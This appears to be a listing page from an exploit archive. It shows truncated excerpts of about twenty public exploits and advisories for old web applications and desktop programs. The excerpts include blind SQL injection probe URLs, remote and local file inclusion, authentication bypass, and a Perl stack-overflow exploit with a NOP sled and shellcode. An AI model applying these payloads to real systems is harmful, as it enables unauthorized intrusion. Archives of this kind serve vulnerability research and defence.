ActiveBids Blind SQL Injection

ActiveBids default.asp Blind SQL Injection Vulnerability Author : Hussin X Home : www.IQ-TY.com email : [email protected] Vendor : http://www.activewebsoftwares.com Demo : http://server/default.asp?catid=39+and+1=1 true http://server/default.asp?catid=39+and+1=0 false :: test ::...

TelebidAuctionScript - 'aid' Blind SQL Injection

TelebidauctionScriptaid Blind SQL Injection Vulnerability Author : Hussin X Home : www.IQ-TY.com email : [email protected] Vendor : http://www.telebidauctionscript.com/ Demo : http://server/allauctions.php?aid=2+and+1=1 true http://server/allauctions.php?aid=2+and+1=0 false :: Table ::...

html2ps - 'include file' Server-Side Include Directive Directory Traversal

!/usr/bin/env python html2ps the "include file" ssi directive doesn't check for directory traversal so you can include and disclose any file in the dir tree very handy when html2ps is running as a part of a web app with data that you control the vuln requires that "ssi" in the @html2ps block in t...

OpenSiteAdmin 0.9.7b Remote File Inclusion

OpenSiteAdmin 0.9.7 BETA Remote File Include Vulnerability ---------------------------------------------------------- @=====================================================================================================@ + Author : EA Ngel + Location : Republik Rakyat Indonesia RRI + Situs :...

OpenSiteAdmin 0.9.7b - pageHeader.php?path Remote File Inclusion

OpenSiteAdmin 0.9.7b - pageHeader.php?path Remote File Inclusion OpenSiteAdmin 0.9.7 BETA Remote File Include Vulnerability ---------------------------------------------------------- @=====================================================================================================@ + Author :...

WarFTPd 1.82.00-RC12 - 'LIST' Format String Denial of Service

Vulnerability : War FTP Daemon Format String DoS LIST command Detected by : corelanc0d3r corelanc0d3ratgmaildotcom Type : remote DoS OS : Windows Product : Jgaa's War FTP Daemon Versions affected : 1.82 RC 12 Download link : http://www.warftp.org/?menu=344...

Joomla! Component TPDugg 1.1 - Blind SQL Injection

!/usr/bin/perl //////////////////////////////////\\\\\\\\\\\\\\\\\ \\\\\\\\\\\\\\\\\////////////////////////////////// o TPDugg Joomla Component 1.1 Blind SQL Injection Exploit Software : comtpdugg version 1.1 Vendor : http://www.templateplazza.com/ Author : NoGe...

Xstate Real Estate 1.0 (bSQL/XSS) Multiples Vulnerabilities

No description provided by source. / | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || Xstate Real Estate 1.0 bSQL/XSS Multiples Vulnerability Discovered By : Moudi Contact : [email protected]...

WordPress WP-Syntax 0.9.1 Command Execution

====================================================================== Wordpress plugin WP-Syntax $functions if isnull$functions continue; foreach$functions as $function $string = calluserfuncarray$function, array$string; return $string; ... Global variable testfilter is not defined, so...

Moa Gallery 1.2.0 Remote File Inclusion

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||...

Logoshows BBS 2.0 - Authentication Bypass

Logoshows BBS 2.0 Auth Bypass SQL Injection Vulnerability -=Dns-Team Marocain Hackers=- Author: Dns-Team Contact: Q2atHoTmaildotFr Site: www.Scam4u.com + www.Dns-Team.com Greetz: Sa4d + HSMX + Stack + PR0H4CK3RZ + N@bilX + Ga3 Réjà là Xd : Download : http://www.logoshows.com/download/bbs88.rar...

Mediacoder 0.6.2.4275 - '.lst' Local Stack Buffer Overflow

!/usr/bin/perl MediaCoder 0.6.2.4275 .lst Stack Based Overflow Discovered by : SKULL-HACKER my $header = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0A\x46\x69\x6C\x65\x31\x3D"; my $junk = "\x41" x 254; my $ret = "\x93\x43\x92\x7c"; my $nop = "\x90" x 25; win32exec - EXITFUNC=seh CMD=calc.exe...

MAXcms 3.11.20b - Multiple Remote File Inclusions

=============================================================================================== o MAXcms - Databay Content Management System 3.11.20b Remote File Inclusion Vulnerability Software : MAXcms - Databay Content Management System version 3.11.20b Vendor : http://www.databay.de Download ...

e107 my_gallery 2.4.1 File Disclosure

MainHack BrotherHood http://news.serverisdown.org Vrs-hCk OoNBoY Paman bL4Ck3n91n3 Angela Zhang H312Y yooogy mousekill ^-^ loqsa zxvf martfella skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke FUCK TERORIS!! / $vuln = '/e107plugins/mygallery/image.php?file='; $trasv =...

GLinks 2.1 Blind SQL Injection

0000000000000000000000000000000000 000000000000000000000 00000000000000000000000000000000000 0000000000000000 00000000000000000000000000000000 + GLinks v2.1 Remote Blind SQL injection + Author : 599eme Man + Contact : [email protected] + Thanks : Moudi, Str0ke, Neocoderz, Sheiry, Shimik Root aka...

LightOpenCMS 0.1 Local File Inclusion

LightOpenCMS 0.1 smarty.php cwd Local File Inclusion Vulnerability bug found by Jose Luis Gongora Fernandez a.k.a JosS contact: sys-projectathotmail.com website: http://www.hack0wn.com/ - download: http://sourceforge.net/project/showfiles.php?groupid=251474 smarty.php define"SMARTYDIR",...

Ecsportal 6.5 SQL Injection

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Ecsportal 6.5 - SQL-injection Vulnerability ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ @=======================================@ ! ============taRentReXx=============== ! The Indian Hack...

SDP Downloader 2.3.0 - .asx Local Buffer Overflow (SEH) (2)

SDP Downloader 2.3.0 - .asx Local Buffer Overflow SEH 2 / SDP-BOF.c SDP Downloader Local Buffer overflow exploit SEH Credits : Cyber-Zone Exploit BY : SimO-s0fT [email protected] Shoot to : Stack & r1z & Str0ke / include include include define OFFSET 529 define NOP 0x90 char head1=...

Absolute Form Processor XE-V 1.5 Insecure Cookie Handling Vuln

No description provided by source. Absolute Form Processor XE-V 1.5 Insecure Cookie Handling Vuln ---------------------------------------------------------- Discovered By: ZoRLu Date: 11.04.2009 Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com msn: [email protected] N0T: Herkes...

EZ Webitor - Authentication Bypass

EZ Webitor - Authentication Bypass -------------------------AllaH AkbaR------------------------------- ezwebitor Auth Bypass Remote Sql Injection --------------------------------------------------------------------------- Discovered By: Snakespc ALGERIAN HaCkEr Mail: [email protected]...